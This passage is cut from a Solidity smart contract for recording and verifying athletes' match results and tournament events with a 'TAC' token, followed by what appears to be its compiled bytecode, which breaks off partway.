their proposedMatches if athlete changes if ((_winner != proposedMatches[id].winner) && (_winner != proposedMatches[id].loser)) { allUsers[_winner].proposedMatches.push(id); } if ((_loser != proposedMatches[id].winner) && (_loser != proposedMatches[id].loser)) { allUsers[_loser].proposedMatches.push(id); } // Overwrite the match. proposedMatches[id].winner = _winner; proposedMatches[id].winnerPoints = _winnerPoints; proposedMatches[id].loser = _loser; proposedMatches[id].loserPoints = _loserPoints; proposedMatches[id].notes = _notes; allUsers[_winner].proposedMatches.push(id); allUsers[_loser].proposedMatches.push(id); } function getProposedMatch(uint64 matchId) public view returns (uint64 id, address winner, uint8 winnerPoints, address loser, uint8 loserPoints, address referee, uint64 time, string memory notes, bool winnerVerified, bool loserVerified) { id = proposedMatches[matchId].id; winner = proposedMatches[matchId].winner; winnerPoints = proposedMatches[matchId].winnerPoints; loser = proposedMatches[matchId].loser; loserPoints = proposedMatches[matchId].loserPoints; referee = proposedMatches[matchId].referee; notes = proposedMatches[matchId].notes; winnerVerified = proposedMatches[matchId].winnerVerified; loserVerified = proposedMatches[matchId].loserVerified; time = proposedMatches[matchId].time; } function approveMatch(uint64 id) public { // Make sure the match has not already been verified. require(((proposedMatches[id].winnerVerified == false) || (proposedMatches[id].loserVerified == false)), 'Both athletes have already verified this match' ); // Find if the user calling approve is the winner or loser. bool winner = false; bool loser = false; if (proposedMatches[id].winner == msg.sender) { winner = true; } if (proposedMatches[id].loser == msg.sender) { loser = true; } require(winner || loser, "You are not a player in this match"); // First see if the other player has verified. //Case 1 - The caller is the winner if (winner) { // If the loser has not verified. if (proposedMatches[id].loserVerified == false) { proposedMatches[id].winnerVerified = true; } //If the loser has verified else { proposedMatches[id].winnerVerified = true; finalizeMatch(id); } } //Case 2 - The caller is the losing athlete if (loser) { // If the winner has not verified. if (proposedMatches[id].winnerVerified == false) { proposedMatches[id].loserVerified = true; } //If the loser has verified else { proposedMatches[id].loserVerified = true; finalizeMatch(id); } } } //Called to record match and award TAC //Internal function called only once all checks are passed function finalizeMatch(uint64 id) internal { allUsers[proposedMatches[id].winner].approvedMatches.push(id); allUsers[proposedMatches[id].loser].approvedMatches.push(id); allUsers[proposedMatches[id].referee].approvedMatches.push(id); proposedMatches[id].id = numMatches; //Add the match to the athletes allUsers[proposedMatches[id].winner].matches.push(numMatches); allUsers[proposedMatches[id].loser].matches.push(numMatches); allMatches.push(proposedMatches[id]); numMatches ++; ITAC TAC = ITAC(TACContract); //Transfer the 10 TAC from each athlete. TAC.transferFrom(proposedMatches[id].loser, creatorAddress, matchCost); TAC.transferFrom(proposedMatches[id].winner, creatorAddress, matchCost); //Award bonus TAC TAC.awardTAC(allUsers[proposedMatches[id].winner].userAddress, allUsers[proposedMatches[id].loser].userAddress, allUsers[proposedMatches[id].referee].userAddress); } function recordEventMatch(uint64 _eventId, address _winner, uint8 _winnerPoints, address _loser, uint8 _loserPoints, address _referee) public { //Check that the tournament promoter is the caller require((msg.sender == allEvents[_eventId].promoter || tournamentStaff[msg.sender] == _eventId), "Only the promoter can record event matches"); //Check that the event has enough matches left. require(allEvents[_eventId].allowedMatches > 0, "This event does not have any matches left"); //Make sure that the tournament isn't too old. require(allEvents[_eventId].time + 604800 > block.timestamp, "This event is too old"); //Decrement the allowedMatches allEvents[_eventId].allowedMatches = allEvents[_eventId].allowedMatches - 1; //Record the match. Match memory newMatch; newMatch.id = numMatches; newMatch.winner = _winner; newMatch.winnerPoints = _winnerPoints; newMatch.loser = _loser; newMatch.loserPoints = _loserPoints; newMatch.referee = _referee; newMatch.time = uint64 (block.timestamp); numMatches ++; allMatches.push(newMatch); ITAC TAC = ITAC(TACContract); //Add the match to the athletes and ref allUsers[_winner].matches.push(newMatch.id); allUsers[_loser].matches.push(newMatch.id); allUsers[_referee].matches.push(newMatch.id); if ((TAC.balanceOf(_loser) >= matchCost) && (TAC.balanceOf(_winner) >= matchCost)) { //Transfer the 10 TAC from each athlete. TAC.transferFrom(_loser, creatorAddress, matchCost); TAC.transferFrom(_winner, creatorAddress, matchCost); //Issue TAC TAC.awardTAC(_winner, _loser, _referee); } } function getMatch(uint64 _id) public view returns(uint64 id, address winner, uint8 winnerPoints, address loser, uint8 loserPoints, uint64 time, string memory notes, address referee) { Match memory matchToGet = allMatches[_id]; id = matchToGet.id; winner = matchToGet.winner; winnerPoints = matchToGet.winnerPoints; loser = matchToGet.loser; loserPoints = matchToGet.loserPoints; time = matchToGet.time; notes = matchToGet.notes; referee = matchToGet.referee; } /////////////////////////////////////////////////////////EVENT FUNCTIONS ////////////////////////////////////////////////// function hostEvent(uint64 startTime, string memory eventName) public { Event memory newEvent; ITAC TAC = ITAC(TACContract); require((allUsers[msg.sender].allowedMatches > 0 || requireMembership == false), "Members must have available allowed matches"); require(TAC.balanceOf(msg.sender) >= eventHostingCost, "You need to have more TAC to open an event. "); TAC.transferFrom(msg.sender, creatorAddress, eventHostingCost); newEvent.promoter = msg.sender; newEvent.eventName = eventName; newEvent.time = startTime; newEvent.eventId = numEvents; newEvent.allowedMatches = 0; allEvents.push(newEvent); numEvents += 1; } function getEvent(uint64 _eventId) public view returns(address promoter, uint64 time, uint64 eventId, string memory eventName, uint16 allowedMatches) { Event memory eventToGet = allEvents[_eventId]; promoter = eventToGet.promoter; time = eventToGet.time; eventName = eventToGet.eventName; eventId = eventToGet.eventId; allowedMatches = eventToGet.allowedMatches; } function approveEvent(uint64 _eventId, uint16 _numMatches) public onlyADMINS { // Function to allow an event host to approve a specified number of matches. allEvents[_eventId].allowedMatches = _numMatches; } //Function a tournament promoter can call to delegate staff to record matches. function addStaff(uint64 _eventId, address _newStaff) public { //Check that the tournament promoter is the caller require(msg.sender == allEvents[_eventId].promoter, "Only the promoter can add staff"); tournamentStaff[_newStaff] = _eventId; } }
0x608060405234801561001057600080fd5b50600436106102065760003560e01c8063854458291161011a578063ca89f1f7116100ad578063e43cfc631161007c578063e43cfc6314610be6578063e927fc5c14610c3e578063edbece3714610c46578063f089326f14610c91578063fc3aff1214610cc057610206565b8063ca89f1f71461097e578063ccbd649014610a59578063d10ca33f14610afd578063da71fb7b14610b0557610206565b8063a5ea11da116100e9578063a5ea11da1461085a578063afa71d1114610862578063b7bf57b21461087f578063bc3b16221461095857610206565b8063854458291461074f57806399e9da27146107575780639cd3e2dc1461078c578063a2f47f6a1461079457610206565b80633b92c4d31161019d5780635b84f7891161016c5780635b84f789146106235780635f6dacce1461062b5780636f77926b1461066557806370480275146106f95780637b7bc0bc1461071f57610206565b80633b92c4d31461046c578063429b62e51461056e5780634bf4b501146105a85780634ef8ba10146105ea57610206565b80632ee29166116101d95780632ee291661461036957806333957868146103715780633449d2b21461039757806334cf562b1461044d57610206565b80630c37fc351461020b5780630fa33d131461031f5780631785f53c1461032957806319a50f491461034f575b600080fd5b6102316004803603602081101561022157600080fd5b50356001600160401b0316610cc8565b604051808b6001600160401b031681526020018a6001600160a01b031681526020018960ff168152602001886001600160a01b031681526020018760ff168152602001866001600160a01b03168152602001856001600160401b031681526020018060200184151581526020018315158152602001828103825285818151815260200191508051906020019080838360005b838110156102db5781810151838201526020016102c3565b50505050905090810190601f1680156103085780820380516001836020036101000a031916815260200191505b509b50505050505050505050505060405180910390f35b610327610f97565b005b6103276004803603602081101561033f57600080fd5b50356001600160a01b031661103e565b6103576110d2565b60408051918252519081900360200190f35b6103576110d8565b6103276004803603602081101561038757600080fd5b50356001600160401b03166110de565b610327600480360360408110156103ad57600080fd5b6001600160401b0382351691908101906040810160208201356401000000008111156103d857600080fd5b8201836020820111156103ea57600080fd5b8035906020019184600183028401116401000000008311171561040c57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611401945050505050565b61045561172c565b6040805161ffff9092168252519081900360200190f35b6104926004803603602081101561048257600080fd5b50356001600160401b031661173d565b60405180896001600160401b03168152602001886001600160a01b031681526020018760ff168152602001866001600160a01b031681526020018560ff168152602001846001600160401b0316815260200180602001836001600160a01b03168152602001828103825284818151815260200191508051906020019080838360005b8381101561052c578181015183820152602001610514565b50505050905090810190601f1680156105595780820380516001836020036101000a031916815260200191505b50995050505050505050505060405180910390f35b6105946004803603602081101561058457600080fd5b50356001600160a01b03166118ee565b604080519115158252519081900360200190f35b6105ce600480360360208110156105be57600080fd5b50356001600160a01b0316611903565b604080516001600160401b039092168252519081900360200190f35b6106076004803603602081101561060057600080fd5b503561191e565b604080516001600160a01b039092168252519081900360200190f35b610594611948565b6103276004803603608081101561064157600080fd5b508035906001600160a01b0360208201351690604081013590606001351515611958565b61068b6004803603602081101561067b57600080fd5b50356001600160a01b0316611a07565b60405180846001600160a01b03168152602001806020018360ff168152602001828103825284818151815260200191508051906020019060200280838360005b838110156106e35781810151838201526020016106cb565b5050505090500194505050505060405180910390f35b6103276004803603602081101561070f57600080fd5b50356001600160a01b0316611ac7565b6103276004803603604081101561073557600080fd5b5080356001600160401b0316906020013561ffff16611b57565b6105ce611bbf565b6103276004803603604081101561076d57600080fd5b5080356001600160401b031690602001356001600160a01b0316611bce565b610607611c89565b6107b1600480360360208110156107aa57600080fd5b5035611c9f565b604051808b6001600160401b031681526020018a6001600160a01b031681526020018960ff168152602001886001600160a01b031681526020018760ff168152602001866001600160a01b0316815260200185151581526020018415158152602001836001600160401b031681526020018060200182810382528381815181526020019150805190602001908083836000838110156102db5781810151838201526020016102c3565b610357611dbd565b6107b16004803603602081101561087857600080fd5b5035611dc3565b6108a56004803603602081101561089557600080fd5b50356001600160401b0316611dd3565b60405180866001600160a01b03168152602001856001600160401b03168152602001846001600160401b03168152602001806020018361ffff168152602001828103825284818151815260200191508051906020019080838360005b83811015610919578181015183820152602001610901565b50505050905090810190601f1680156109465780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390f35b6103576004803603602081101561096e57600080fd5b50356001600160a01b0316611f1f565b610327600480360360c081101561099457600080fd5b6001600160a01b03823581169260ff602082013581169360408301358416936060840135909216926080810135909216919081019060c0810160a08201356401000000008111156109e457600080fd5b8201836020820111156109f657600080fd5b80359060200191846001830284011164010000000083111715610a1857600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611f3d945050505050565b610a7f60048036036020811015610a6f57600080fd5b50356001600160a01b0316612626565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b83811015610ac3578181015183820152602001610aab565b50505050919091018481038352855181528551602091820192508187019102808383600083156106e35781810151838201526020016106cb565b610357612755565b610327600480360360c0811015610b1b57600080fd5b6001600160401b03823516916001600160a01b03602082013581169260ff604084013581169360608101359093169260808101359091169181019060c0810160a0820135640100000000811115610b7157600080fd5b820183602082011115610b8357600080fd5b80359060200191846001830284011164010000000083111715610ba557600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061275b945050505050565b610327600480360360c0811015610bfc57600080fd5b506001600160401b03813516906001600160a01b03602082013581169160ff6040820135811692606083013581169260808101359092169160a0013516612e57565b6106076135d4565b610c6c60048036036020811015610c5c57600080fd5b50356001600160a01b03166135e3565b604080516001600160a01b03909316835260ff90911660208301528051918290030190f35b61032760048036036040811015610ca757600080fd5b5080356001600160a01b0316906020013560ff1661360a565b6105ce613663565b6000806000806000806000606060008060068b6001600160401b031681548110610cee57fe5b6000918252602090912060049091020154600680546001600160401b039283169c5090918d16908110610d1d57fe5b906000526020600020906004020160000160089054906101000a90046001600160a01b0316985060068b6001600160401b031681548110610d5a57fe5b9060005260206000209060040201600001601c9054906101000a900460ff16975060068b6001600160401b031681548110610d9157fe5b906000526020600020906004020160010160009054906101000a90046001600160a01b0316965060068b6001600160401b031681548110610dce57fe5b906000526020600020906004020160010160149054906101000a900460ff16955060068b6001600160401b031681548110610e0557fe5b906000526020600020906004020160020160009054906101000a90046001600160a01b0316945060068b6001600160401b031681548110610e4257fe5b6000918252602091829020600360049092020101805460408051601f6002600019610100600187161502019094169390930492830185900485028101850190915281815292830182828015610ed85780601f10610ead57610100808354040283529160200191610ed8565b820191906000526020600020905b815481529060010190602001808311610ebb57829003601f168201915b5050505050925060068b6001600160401b031681548110610ef557fe5b906000526020600020906004020160020160159054906101000a900460ff16915060068b6001600160401b031681548110610f2c57fe5b906000526020600020906004020160020160149054906101000a900460ff16905060068b6001600160401b031681548110610f6357fe5b906000526020600020906004020160020160169054906101000a90046001600160401b031693509193959799509193959799565b336000908152600960205260408120546001600160a01b031661100357506002805460019081019091556008805480830182556000919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b031916331790555b33600081815260096020526040902080546001600160a01b03191690911781558115156001141561103a57805460ff60a01b191681555b5050565b6000546001600160a01b031633146110875760405162461bcd60e51b81526004018080602001828103825260288152602001806140016028913960400191505060405180910390fd5b6001600160a01b03811660009081526001602081905260409091205460ff16151514156110cf576001600160a01b0381166000908152600160205260409020805460ff191690555b50565b60025481565b600c5481565b6006816001600160401b0316815481106110f457fe5b6000918252602090912060049091020160020154600160a81b900460ff16158061114f57506006816001600160401b03168154811061112f57fe5b6000918252602090912060049091020160020154600160a01b900460ff16155b61118a5760405162461bcd60e51b815260040180806020018281038252602e815260200180614029602e913960400191505060405180910390fd5b600080336001600160a01b03166006846001600160401b0316815481106111ad57fe5b6000918252602090912060049091020154600160401b90046001600160a01b031614156111d957600191505b336001600160a01b03166006846001600160401b0316815481106111f957fe5b60009182526020909120600160049092020101546001600160a01b03161415611220575060015b81806112295750805b6112645760405162461bcd60e51b81526004018080602001828103825260228152602001806140eb6022913960400191505060405180910390fd5b8115611330576006836001600160401b03168154811061128057fe5b6000918252602090912060049091020160020154600160a01b900460ff166112e75760016006846001600160401b0316815481106112ba57fe5b906000526020600020906004020160020160156101000a81548160ff021916908315150217905550611330565b60016006846001600160401b0316815481106112ff57fe5b906000526020600020906004020160020160156101000a81548160ff02191690831515021790555061133083613672565b80156113fc576006836001600160401b03168154811061134c57fe5b6000918252602090912060049091020160020154600160a81b900460ff166113b35760016006846001600160401b03168154811061138657fe5b906000526020600020906004020160020160146101000a81548160ff0219169083151502179055506113fc565b60016006846001600160401b0316815481106113cb57fe5b906000526020600020906004020160020160146101000a81548160ff0219169083151502179055506113fc83613672565b505050565b611409613ddd565b600b5433600090815260096020526040902054600160481b9091046001600160a01b031690600160a01b900460ff1615158061144f5750600b54600160401b900460ff16155b61148a5760405162461bcd60e51b815260040180806020018281038252602b815260200180613f87602b913960400191505060405180910390fd5b600454816001600160a01b03166370a08231336040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156114da57600080fd5b505afa1580156114ee573d6000803e3d6000fd5b505050506040513d602081101561150457600080fd5b505110156115435760405162461bcd60e51b815260040180806020018281038252602c815260200180614099602c913960400191505060405180910390fd5b6000805460048054604080516323b872dd60e01b815233938101939093526001600160a01b039384166024840152604483019190915251918416926323b872dd926064808401936020939083900390910190829087803b1580156115a657600080fd5b505af11580156115ba573d6000803e3d6000fd5b505050506040513d60208110156115d057600080fd5b505033825260208083018481526001600160401b038616604085015260038054600160401b900461ffff16606086015260006080860181905260078054600181018255915285517fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6889190920290810180546001600160a01b0319166001600160a01b039093169290921782559151805186949293611694937fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c689909101920190613e0c565b5060408201516002919091018054606084015160809094015167ffffffffffffffff199091166001600160401b03938416176fffffffffffffffff00000000000000001916600160401b9390941683029390931761ffff60801b1916600160801b61ffff948516021790556003805469ffff000000000000000019811690839004841660010190931690910291909117905550505050565b600354600160401b900461ffff1681565b600080600080600080606060008060058a6001600160401b03168154811061176157fe5b60009182526020918290206040805161014081018252600490930290910180546001600160401b0380821685526001600160a01b03600160401b830481168688015260ff600160e01b9093048316868601526001808501548083166060890152600160a01b908190048516608089015260028087015493841660a08a01529083048516151560c0890152600160a81b8304909416151560e0880152600160b01b909104909116610100808701919091526003840180548651601f6000199583161590940294909401169390930490810187900487028201870190945283815293949193610120860193909283018282801561189d5780601f106118725761010080835404028352916020019161189d565b820191906000526020600020905b81548152906001019060200180831161188057829003601f168201915b50505050508152505090508060000151985080602001519750806040015196508060600151955080608001519450806101000151935080610120015192508060a00151915050919395975091939597565b60016020526000908152604090205460ff1681565b600a602052600090815260409020546001600160401b031681565b6008818154811061192e57600080fd5b6000918252602090912001546001600160a01b0316905081565b600b54600160401b900460ff1681565b6000546001600160a01b031633146119a15760405162461bcd60e51b81526004018080602001828103825260288152602001806140016028913960400191505060405180910390fd5b600493909355600b8054600c92909255921515600160401b0268ff0000000000000000196001600160a01b03909316600160481b027fffffff0000000000000000000000000000000000000000ffffffffffffffffff9092169190911791909116179055565b6001600160a01b0380821660009081526009602090815260408083208054600182018054845181870281018701909552808552919096169560609594929392909190830182828015611aaa57602002820191906000526020600020906000905b82829054906101000a90046001600160401b03166001600160401b031681526020019060080190602082600701049283019260010382029150808411611a675790505b5050935496989297505050600160a01b90940460ff169392505050565b6000546001600160a01b03163314611b105760405162461bcd60e51b81526004018080602001828103825260288152602001806140016028913960400191505060405180910390fd5b6001600160a01b03811660009081526001602052604090205460ff166110cf576001600160a01b03166000908152600160208190526040909120805460ff19169091179055565b3360009081526001602081905260409091205460ff16151514611b7957600080fd5b806007836001600160401b031681548110611b9057fe5b906000526020600020906003020160020160106101000a81548161ffff021916908361ffff1602179055505050565b6003546001600160401b031681565b6007826001600160401b031681548110611be457fe5b60009182526020909120600390910201546001600160a01b03163314611c51576040805162461bcd60e51b815260206004820152601f60248201527f4f6e6c79207468652070726f6d6f7465722063616e2061646420737461666600604482015290519081900360640190fd5b6001600160a01b03166000908152600a60205260409020805467ffffffffffffffff19166001600160401b0392909216919091179055565b600b54600160481b90046001600160a01b031681565b60068181548110611caf57600080fd5b6000918252602091829020600490910201805460018083015460028085015460038601805460408051601f600019988416156101000298909801909216949094049586018990048902810189019093528483526001600160401b0380871699506001600160a01b03600160401b880481169960ff600160e01b90990489169987831699600160a01b98899004811699938716988704811697600160a81b880490911696600160b01b9004909416949093929091830182828015611db35780601f10611d8857610100808354040283529160200191611db3565b820191906000526020600020905b815481529060010190602001808311611d9657829003601f168201915b505050505090508a565b60045490565b60058181548110611caf57600080fd5b600080600060606000806007876001600160401b031681548110611df357fe5b60009182526020918290206040805160a081018252600390930290910180546001600160a01b03168352600180820180548451601f60026000199584161561010002959095019092169390930490810187900487028301870190945283825293949193858301939192909190830182828015611eb05780601f10611e8557610100808354040283529160200191611eb0565b820191906000526020600020905b815481529060010190602001808311611e9357829003601f168201915b5050509183525050600291909101546001600160401b03808216602080850191909152600160401b8304909116604080850191909152600160801b90920461ffff166060938401528351918401519084015192840151608090940151919b909a50929850909650945092505050565b6001600160a01b031660009081526009602052604090206003015490565b6001600160a01b038216600090815260096020526040902054600160a01b900460ff16151580611f775750600b54600160401b900460ff16155b611fb25760405162461bcd60e51b815260040180806020018281038252602b815260200180613f87602b913960400191505060405180910390fd5b336001600160a01b03831614611ff95760405162461bcd60e51b815260040180806020018281038252602181526020018061410d6021913960400191505060405180910390fd5b836001600160a01b0316866001600160a01b03161415801561202d5750816001600160a01b0316866001600160a01b031614155b801561204b5750816001600160a01b0316846001600160a01b031614155b6120865760405162461bcd60e51b81526004018080602001828103825260428152602001806140576042913960600191505060405180910390fd5b6001600160a01b03868116600090815260096020526040902054166120ef576040805162461bcd60e51b815260206004820152601a602482015279155cd95c881a5cc81b9bdd081e595d081c9959da5cdd195c995960321b604482015290519081900360640190fd5b6001600160a01b0384811660009081526009602052604090205416612158576040805162461bcd60e51b815260206004820152601a602482015279155cd95c881a5cc81b9bdd081e595d081c9959da5cdd195c995960321b604482015290519081900360640190fd5b600b54600160401b900460ff161515600114156121ab576001600160a01b0382166000908152600960205260409020805460001960ff600160a01b808404821692909201160260ff60a01b199091161790555b6121b3613e98565b600b60009054906101000a90046001600160401b031681600001906001600160401b031690816001600160401b0316815250508681602001906001600160a01b031690816001600160a01b03168152505085816040019060ff16908160ff16815250508481606001906001600160a01b031690816001600160a01b03168152505083816080019060ff16908160ff1681525050828160a001906001600160a01b031690816001600160a01b03168152505060008160c001901515908115158152505060008160e0019015159081151581525050428161010001906001600160401b031690816001600160401b03168152505081816101200181905250600b600081819054906101000a90046001600160401b03168092919060010191906101000a8154816001600160401b0302191690836001600160401b0316021790555050600681908060018154018082558091505060019003906000526020600020906004020160009091909190915060008201518160000160006101000a8154816001600160401b0302191690836001600160401b0316021790555060208201518160000160086101000a8154816001600160a01b0302191690836001600160a01b03160217905550604082015181600001601c6101000a81548160ff021916908360ff16021790555060608201518160010160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555060808201518160010160146101000a81548160ff021916908360ff16021790555060a08201518160020160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555060c08201518160020160146101000a81548160ff02191690831515021790555060e08201518160020160156101000a81548160ff0219169083151502179055506101008201518160020160166101000a8154816001600160401b0302191690836001600160401b031602179055506101208201518160030190805190602001906124a0929190613e0c565b50505060096000886001600160a01b03166001600160a01b03168152602001908152602001600020600201816000015190806001815401808255809150506001900390600052602060002090600491828204019190066008029091909190916101000a8154816001600160401b0302191690836001600160401b0316021790555060096000866001600160a01b03166001600160a01b03168152602001908152602001600020600201816000015190806001815401808255809150506001900390600052602060002090600491828204019190066008029091909190916101000a8154816001600160401b0302191690836001600160401b0316021790555060096000846001600160a01b03166001600160a01b03168152602001908152602001600020600201816000015190806001815401808255809150506001900390600052602060002090600491828204019190066008029091909190916101000a8154816001600160401b0302191690836001600160401b0316021790555050505050505050565b6001600160a01b0381166000908152600960209081526040918290206002810180548451818502810185019095528085526060948594909291908301828280156126c157602002820191906000526020600020906000905b82829054906101000a90046001600160401b03166001600160401b03168152602001906008019060208260070104928301926001038202915080841161267e5790505b505050505092508060030180548060200260200160405190810160405280929190818152602001828054801561274857602002820191906000526020600020906000905b82829054906101000a90046001600160401b03166001600160401b0316815260200190600801906020826007010492830192600103820291508084116127055790505b5050505050915050915091565b60045481565b336001600160a01b03166006876001600160401b03168154811061277b57fe5b60009182526020909120600260049092020101546001600160a01b0316146127d45760405162461bcd60e51b81526004018080602001828103825260268152602001806140c56026913960400191505060405180910390fd5b6006866001600160401b0316815481106127ea57fe5b6000918252602090912060049091020160020154600160a81b900460ff16158061284557506006866001600160401b03168154811061282557fe5b6000918252602090912060049091020160020154600160a01b900460ff16155b6128805760405162461bcd60e51b8152600401808060200182810382526025815260200180613fdc6025913960400191505060405180910390fd5b826001600160a01b0316856001600160a01b0316141580156128ab57506001600160a01b0385163314155b80156128c057506001600160a01b0383163314155b6128fb5760405162461bcd60e51b81526004018080602001828103825260428152602001806140576042913960600191505060405180910390fd5b60006006876001600160401b03168154811061291357fe5b906000526020600020906004020160020160156101000a81548160ff02191690831515021790555060006006876001600160401b03168154811061295357fe5b600091825260208083206002600490930201919091018054931515600160a01b0260ff60a01b19909416939093179092556001600160a01b03878116825260099092526040902054166129ea576040805162461bcd60e51b815260206004820152601a602482015279155cd95c881a5cc81b9bdd081e595d081c9959da5cdd195c995960321b604482015290519081900360640190fd5b6001600160a01b0383811660009081526009602052604090205416612a53576040805162461bcd60e51b815260206004820152601a602482015279155cd95c881a5cc81b9bdd081e595d081c9959da5cdd195c995960321b604482015290519081900360640190fd5b6006866001600160401b031681548110612a6957fe5b60009182526020909120600490910201546001600160a01b03868116600160401b9092041614801590612ad157506006866001600160401b031681548110612aad57fe5b60009182526020909120600160049092020101546001600160a01b03868116911614155b15612b2d576001600160a01b03851660009081526009602090815260408220600201805460018101825590835291206004820401805460039092166008026101000a6001600160401b0381810219909316928916029190911790555b6006866001600160401b031681548110612b4357fe5b60009182526020909120600490910201546001600160a01b03848116600160401b9092041614801590612bab57506006866001600160401b031681548110612b8757fe5b60009182526020909120600160049092020101546001600160a01b03848116911614155b15612c07576001600160a01b03831660009081526009602090815260408220600201805460018101825590835291206004820401805460039092166008026101000a6001600160401b0381810219909316928916029190911790555b846006876001600160401b031681548110612c1e57fe5b906000526020600020906004020160000160086101000a8154816001600160a01b0302191690836001600160a01b03160217905550836006876001600160401b031681548110612c6a57fe5b9060005260206000209060040201600001601c6101000a81548160ff021916908360ff160217905550826006876001600160401b031681548110612caa57fe5b906000526020600020906004020160010160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550816006876001600160401b031681548110612cf657fe5b906000526020600020906004020160010160146101000a81548160ff021916908360ff160217905550806006876001600160401b031681548110612d3657fe5b90600052602060002090600402016003019080519060200190612d5a929190613e0c565b5060096000866001600160a01b03166001600160a01b031681526020019081526020016000206002018690806001815401808255809150506001900390600052602060002090600491828204019190066008029091909190916101000a8154816001600160401b0302191690836001600160401b0316021790555060096000846001600160a01b03166001600160a01b031681526020019081526020016000206002018690806001815401808255809150506001900390600052602060002090600491828204019190066008029091909190916101000a8154816001600160401b0302191690836001600160401b03160217905550505050505050565b6007866001600160401b031681548110612e6d57fe5b60009182526020909120600390910201546001600160a01b0316331480612eae5750336000908152600a60205260409020546001600160401b038781169116145b612ee95760405162461bcd60e51b815260040180806020018281038252602a815260200180613fb2602a913960400191505060405180910390fd5b60006007876001600160401b031681548110612f0157fe5b6000918252602090912060039091020160020154600160801b900461ffff1611612f5c5760405162461bcd60e51b815260040180806020018281038252602981526020018061412e6029913960400191505060405180910390fd5b426007876001600160401b031681548110612f7357fe5b600091825260209091206002600390920201015462093a806001600160401b03918216011611612fe2576040805162461bcd60e51b8152602060048201526015602482015274151a1a5cc8195d995b9d081a5cc81d1bdbc81bdb19605a1b604482015290519081900360640190fd5b60016007876001600160401b031681548110612ffa57fe5b906000526020600020906003020160020160109054906101000a900461ffff16036007876001600160401b03168154811061303157fe5b906000526020600020906003020160020160106101000a81548161ffff021916908361ffff160217905550613064613e98565b600380546001600160401b038082168085526001600160a01b03808b16602080880191825260ff808d1660408a019081528c851660608b019081528c831660808c019081528c871660a08d01908152428a166101008e019081526001998a018b1667ffffffffffffffff199c8d1617909c5560058054998a0181556000528c5160049099027f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db081018054985195518716600160e01b0260ff60e01b19968b16600160401b02600160401b600160e01b03199c8e169a909e16999099179a909a169b909b1793909316959095178755517f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db1890180549551909316600160a01b90810260ff60a01b199288166001600160a01b03199788161783161790935590517f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db28901805460c08d015160e08e01519c51909a16600160b01b0267ffffffffffffffff60b01b199c1515600160a81b0260ff60a81b199b15159096029390981696169590951790911617959095169490941795909516179093556101208401518051859493613258937f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db3909101920190613e0c565b5050600b546001600160a01b0388811660009081526009602090815260408083208751600191820180548084018255908652848620600480830490910180546001600160401b0394851660086003958616810261010090810a92830292880219909316919091179092558f8a16808a52878a208e519088018054808a018255908c528a8c208682040180549289169188168602850a918202918902199092161790558e8b168a52878a208e51908801805498890181558b52998990208488040180549a871697909516909202900a948502949093021990961692909217909155600c5482516370a0823160e01b8152948501919091529051600160481b909504939093169450919284926370a082319260248082019391829003018186803b15801561338357600080fd5b505afa158015613397573d6000803e3d6000fd5b505050506040513d60208110156133ad57600080fd5b5051108015906134375750600c54816001600160a01b03166370a08231896040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561340857600080fd5b505afa15801561341c573d6000803e3d6000fd5b505050506040513d602081101561343257600080fd5b505110155b156135ca5760008054600c54604080516323b872dd60e01b81526001600160a01b038a811660048301529384166024820152604481019290925251918416926323b872dd926064808401936020939083900390910190829087803b15801561349e57600080fd5b505af11580156134b2573d6000803e3d6000fd5b505050506040513d60208110156134c857600080fd5b505060008054600c54604080516323b872dd60e01b81526001600160a01b038c811660048301529384166024820152604481019290925251918416926323b872dd926064808401936020939083900390910190829087803b15801561352c57600080fd5b505af1158015613540573d6000803e3d6000fd5b505050506040513d602081101561355657600080fd5b5050604080516203daa560e21b81526001600160a01b03898116600483015287811660248301528581166044830152915191831691620f6a949160648082019260009290919082900301818387803b1580156135b157600080fd5b505af11580156135c5573d6000803e3d6000fd5b505050505b5050505050505050565b6000546001600160a01b031681565b6009602052600090815260409020546001600160a01b03811690600160a01b900460ff1682565b3360009081526001602081905260409091205460ff1615151461362c57600080fd5b6001600160a01b039091166000908152600960205260409020805460ff909216600160a01b0260ff60a01b19909216919091179055565b600b546001600160401b031681565b600960006006836001600160401b03168154811061368c57fe5b60009182526020808320600492830201546001600160a01b03600160401b90910416845283810194909452604090920181206003908101805460018101825590835293822092840490920180546001600160401b03808716959094166008026101000a85810294021916929092179091556006805460099390811061370d57fe5b600091825260208083206004928302016001908101546001600160a01b0316855284820195909552604090930182206003908101805495860181558352928220908404018054939092166008026101000a6001600160401b0381810219909416938516908102939093179091556006805460099390811061378a57fe5b60009182526020808320600492830201600201546001600160a01b031684528381019490945260409092018120600390810180546001810182559083529390912091830490910180549282166008026101000a6001600160401b03818102199094168585169182021790915590546006805491909316929190811061380b57fe5b60009182526020822060049190910201805467ffffffffffffffff19166001600160401b0393841617905560068054600993851690811061384857fe5b60009182526020808320600492830201546001600160a01b03600160401b90910416845283810194909452604090920181206003805460019283018054938401815584529483209382049093018054919093166008026101000a6001600160401b03948516810290850219909116179091556006805460099385169081106138cc57fe5b600091825260208083206004928302016001908101546001600160a01b03168552848201959095526040909301822060038054918601805496870181558452939092209084040180546001600160401b03949093166008026101000a8481021990931691841690920217905560068054600592841690811061394a57fe5b6000918252602080832084546001808201875595855291909320600492830290930180549290910290920180546001600160401b0392831667ffffffffffffffff19909116178082558354600160401b600160e01b0319909116600160401b918290046001600160a01b0390811690920217808355845460ff60e